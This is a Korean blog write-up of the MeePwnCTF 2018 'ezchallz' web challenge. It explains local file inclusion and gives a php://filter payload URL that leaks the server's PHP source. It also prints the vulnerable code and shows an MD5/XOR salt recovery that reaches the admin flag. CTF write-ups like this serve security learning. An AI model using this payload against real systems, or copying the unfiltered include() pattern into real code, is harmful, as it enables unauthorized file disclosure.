[MeePwnCTF 2018] ezchallz
ezchallz입니다. 주어진 url로 접속해보면 Free register라고 나오는데, LFI 취약점이 있습니다.
LFI(Local File Inclusion) 취약점은 웹 브라우저를 통해 서버에 파일을 포함시키는 과정입니다. 이 취약점은 인클루드할 페이지 경로가 적절히 필터링되지 않았고 디렉토리 변경 명령어들의 삽입을 허용했을때 일어납니다. 대부분의 LFI 취약점은 URL을 통해 이뤄지는데 이는 보통 개발자가 GET Method 사용을 선호하기 때문입니다. |
그래서 php://filter을 이용해서 php://filter/convert.base64-encode/resource=파일이름 를 page=뒤에 붙여서 보내면 해당 파일을 추출해낼 수 있습니다.
http://206.189.92.209/ezchallz/?page=php://filter/read=convert.base64-encode/resource=index
추출된 파일의 내용은 아래와 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <html> <a href="index.php">Homepage</a> <a href="?page=register">Free register</a></li> <?php if(isset($_GET["page"]) && !empty($_GET["page"])) { $page = $_GET["page"]; if(strpos(strtolower($page), 'secret') !== false) { die('No no no!'); } // else if(strpos($page, 'php') !== false) { // die("N0 n0 n0!"); // } else { include($page . '.php'); } } ?> </html> | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | <html> <?php error_reporting(0); function gendirandshowflag($username) { include('secret.php'); $dname = ""; $intro = ""; $_username = md5($username, $raw_output = TRUE); for($i = 0; $i<strlen($salt); $i++) { $dname.= chr(ord($salt[$i]) ^ ord($_username[$i])); }; $dname = "users/" . bin2hex($dname); echo 'You have successfully register as ' . $username . '!\n'; if ($_username === hex2bin('21232f297a57a5a743894a0e4a801fc3')) { $intro = "Here is your flag:" . $flag; } else { $intro = "Here is your flag, but I'm not sure ?쨺: \nMeePwnCTF{" . md5(random_bytes(16) . $username) . "}"; } mkdir($dname); file_put_contents($dname . '/flag.php', $intro); header("Location: ". $dname . "/flag.php"); } if (isset($_POST['username'])) { if ($_POST['username'] === 'admin') { die('Username is not allowed!'); } else { gendirandshowflag($_POST['username']); } } ?> <form action="?page=register" method="POST"> <input type="text" name="username"><br> <input type="submit" value="Register"> </form> </html> | cs |
유저명의 md5와 secret_salt의 값과 XOR한 값으로 폴더를 생성하고, 그 안에는 가짜 flag를 보여주는 flag.php가 있습니다.
단순히 md5값과 salt값을 xor한것이므로 역으로 salt값을 구할 수 있습니다.
salt값을 구하여 admin의 md5값과 xor한 값을 폴더로하여 들어가면 올바른 flag를 구할 수 있습니다.
md5 encrypt : https://www.md5online.org/
XOR하기 위해 예전에 cryptopals 문제풀때 사용했던 python code를 그대로 사용했습니다. https://github.com/wotmd/cryptopals/blob/master/set1/02_Fixed_XOR.py
Regiser sherlock is : aa415a493257a95092efead786d5aea1
MD5 hash for sherlock is : 1bea3a3d4bc3be1149a75b33fb8d82bc
so Secret Salt is : b1ab607479941741db48b1e47d582c1d
MD5 hash for admin is : 21232f297a57a5a743894a0e4a801fc3
Regiser admin is : 90884f5d03c3b2e698c1fbea37d833de
접속하면 위와같이 플래그를 얻을 수 있습니다.
'Write-up > Crypto' 카테고리의 다른 글
[MeePwnCTF 2018] esor (easy) (0) | 2018.07.16 |
---|---|
[MeePwnCTF 2018] esor (hard) (0) | 2018.07.16 |
[UIUCTF 2018] Hastad (0) | 2018.06.02 |
[Byte Bandits CTF 2018]R u Ronald Rivest? (0) | 2018.06.02 |
[Plaid CTF 2018] macsh - 125 (0) | 2018.05.07 |